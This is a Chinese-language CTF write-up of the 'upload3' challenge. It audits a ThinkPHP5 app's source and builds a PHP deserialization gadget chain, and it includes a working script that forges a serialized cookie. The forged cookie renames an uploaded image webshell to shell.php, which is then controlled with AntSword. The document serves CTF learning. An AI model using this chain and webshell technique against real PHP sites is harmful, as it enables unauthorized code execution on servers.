继续ctf的旅程 攻防世界web高手进阶区的10分题 本文是upload3的writeup
进入界面
惯例源码+御剑 扫到www.tar.gz和一个upload目录
下下来www.tar.gz 看了看是个thinkphp5
看来要代码审计 然后应该跟文件上传有关
index.php
login_check:传入cookie,对传入的cookie先进行base64解码,然后对其进行反序列化操作,再把数据拿到数据库进行对比其他就是检查登录和检查上传的文件是图片 <?php namespace app\web\controller; use think\Controller; class Index extends Controller { public $profile; public $profile_db; public function index() { if($this->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home"; $this->redirect($curr_url,302); exit(); } return $this->fetch("index"); } public function home(){ if(!$this->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } if(!$this->check_upload_img()){ $this->assign("username",$this->profile_db['username']); return $this->fetch("upload"); }else{ $this->assign("img",$this->profile_db['img']); $this->assign("username",$this->profile_db['username']); return $this->fetch("home"); } } public function login_check(){ $profile=cookie('user'); if(!empty($profile)){ $this->profile=unserialize(base64_decode($profile)); $this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find(); if(array_diff($this->profile_db,$this->profile)==null){ return 1; }else{ return 0; } } } public function check_upload_img(){ if(!empty($this->profile) && !empty($this->profile_db)){ if(empty($this->profile_db['img'])){ return 0; }else{ return 1; } } } public function logout(){ cookie("user",null); $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } public function __get($name) { return ""; } }register.php
__destruct:如果未登录网站进行访问的话,就会调用index.php的index()方法,而index()方法是一个登陆检测其他就是检查是否登陆,注册的流程,检查email的格式 <?php namespace app\web\controller; use think\Controller; class Register extends Controller { public $checker; public $registed; public function __construct() { $this->checker=new Index(); } public function register() { if ($this->checker) { if($this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home"; $this->redirect($curr_url,302); exit(); } } if (!empty(input("post.username")) && !empty(input("post.email")) && !empty(input("post.password"))) { $email = input("post.email", "", "addslashes"); $password = input("post.password", "", "addslashes"); $username = input("post.username", "", "addslashes"); if($this->check_email($email)) { if (empty(db("user")->where("username", $username)->find()) && empty(db("user")->where("email", $email)->find())) { $user_info = ["email" => $email, "password" => md5($password), "username" => $username]; if (db("user")->insert($user_info)) { $this->registed = 1; $this->success('Registed successful!', url('../index')); } else { $this->error('Registed failed!', url('../index')); } } else { $this->error('Account already exists!', url('../index')); } }else{ $this->error('Email illegal!', url('../index')); } } else { $this->error('Something empty!', url('../index')); } } public function check_email($email){ $pattern = "/^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,})$/"; preg_match($pattern, $email, $matches); if(empty($matches)){ return 0; }else{ return 1; } } public function __destruct() { if(!$this->registed){ $this->checker->index(); } } }login.php
login:有cookie的序列化过程 <?php namespace app\web\controller; use think\Controller; class Login extends Controller { public $checker; public function __construct() { $this->checker=new Index(); } public function login(){ if($this->checker){ if($this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home"; $this->redirect($curr_url,302); exit(); } } if(input("?post.email") && input("?post.password")){ $email=input("post.email","","addslashes"); $password=input("post.password","","addslashes"); $user_info=db("user")->where("email",$email)->find(); if($user_info) { if (md5($password) === $user_info['password']) { $cookie_data=base64_encode(serialize($user_info)); cookie("user",$cookie_data,3600); $this->success('Login successful!', url('../home')); } else { $this->error('Login failed!', url('../index')); } }else{ $this->error('email not registed!',url('../index')); } }else{ $this->error('email or password is null!',url('../index')); } } }proflie.php
upload_img:先检查是否登录,然后判断是否有文件,然后获取后缀,解析图片判断是否为正常图片,再从临时文件拷贝到目标路径,目标路径的文件名是上传文件的文件名md5后加png后缀,杜绝文件名上传漏洞__call 和 __get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做 __get 会直接从 except 里找,__call 会调用自身的 name 成员变量所指代的变量所指代的方法 <?php namespace app\web\controller; use think\Controller; class Profile extends Controller { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; public function __construct() { $this->checker=new Index(); $this->upload_menu=md5($_SERVER['REMOTE_ADDR']); @chdir("../public/upload"); if(!is_dir($this->upload_menu)){ @mkdir($this->upload_menu); } @chdir($this->upload_menu); } public function upload_img(){ if($this->checker){ if(!$this->checker->login_check()){ $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index"; $this->redirect($curr_url,302); exit(); } } if(!empty($_FILES)){ $this->filename_tmp=$_FILES['upload_file']['tmp_name']; $this->filename=md5($_FILES['upload_file']['name']).".png"; $this->ext_check(); } if($this->ext) { if(getimagesize($this->filename_tmp)) { @copy($this->filename_tmp, $this->filename); @unlink($this->filename_tmp); $this->img="../upload/$this->upload_menu/$this->filename"; $this->update_img(); }else{ $this->error('Forbidden type!', url('../index')); } }else{ $this->error('Unknow file type!', url('../index')); } } public function update_img(){ $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find(); if(empty($user_info['img']) && $this->img){ if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){ $this->update_cookie(); $this->success('Upload img successful!', url('../home')); }else{ $this->error('Upload file failed!', url('../index')); } } } public function update_cookie(){ $this->checker->profile['img']=$this->img; cookie("user",base64_encode(serialize($this->checker->profile)),3600); } public function ext_check(){ $ext_arr=explode(".",$this->filename); $this->ext=end($ext_arr); if($this->ext=="png"){ return 1; }else{ return 0; } } public function __get($name) { return $this->except[$name]; } public function __call($name, $arguments) { if($this->{$name}){ $this->{$this->{$name}}($arguments); } } }分析
在我们上传文件时,最终生成的文件是文件名的md5加上png后缀但是如果我们在不上传文件的情况下,即empty($_FILES)=1时调用upload_img()函数,就可以控制文件名后缀了Register.php中调用了index()方法,那么我们可以用他来触发__call, 而Profile.php中的__call方法可以触发__get,而我们只要控制好except的值,就可以调用任意方法逻辑
攻击链如下 Register->__destruct Profile-> __call Profile-> __get Profile-> upload_img() 第一个判断if($this->checker)要确保不会执行,只有checker成员不赋值第二个判断if(!empty($_FILE))也要确保不会执行,只需要不上传文件请求就行第三个判断if($this->ext)需要执行 第三个判断中的第一个判断if(getimagesize($this->filename_tmp))需要执行,所以必须要保证filename_tmp的文件是个图片马,单纯的一句话过不了这个判断(时间问题,重开了一个容器)
蚁剑生成shell
用winhex构造图片马
注册登录 上传图片马
得到图片马的路径
脚本获取cookie
构造一个 Profile 和 Register 类,命名空间 app\web\controller(这是thinkphp所需,不然反序列化会出错,不知道对象实例化的是哪个类)except 成员变量赋值 ['index' => 'upload_img'],代表要是访问 index 这个变量,就会返回 upload_img赋值控制 filename_tmp 和 filename 成员变量,可以看到前面两个判断我们只要不赋值和不上传变量即可轻松绕过ext 这里也要赋值,让他进这个判断,而后程序就开始把 filename_tmp 移动到 filename,这样我们就可以把 png 移动为 php 文件了还有要构造一个 Register,checker 赋值为 上面这个 $profile,registed 赋值为 false,这样在这个对象解构时就会调用 profile 的 index 方法,再跳到 upload_img 了 <?php namespace app\web\controller; class Register{ public $checker; public $registed; } class Profile{ public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; } $a=new Register(); $a->registed=0; $a->checker=new Profile(); $a->checker->except=array('index'=>'upload_img'); $a->checker->ext=1; $a->checker->filename_tmp="./upload/bff9db0d2817bbf67d4f627915abf0a2/3d457d02f17deecf19606ba40ed24e14.png"; $a->checker->filename="./upload/shell.php"; echo base64_encode(serialize($a)); ?>改cookie
刷新页面 返回页面错误
访问shell.php的路径 可以看到shell开始工作了
蚁剑连接shell.php
寻找flag
得到flag
知识点
php代码审计图片马参考
强网杯部分WriteUp2019 第三届强网杯 Web 部分 WriteUp + 复现环境2019 第三届强网杯线上赛部分web复现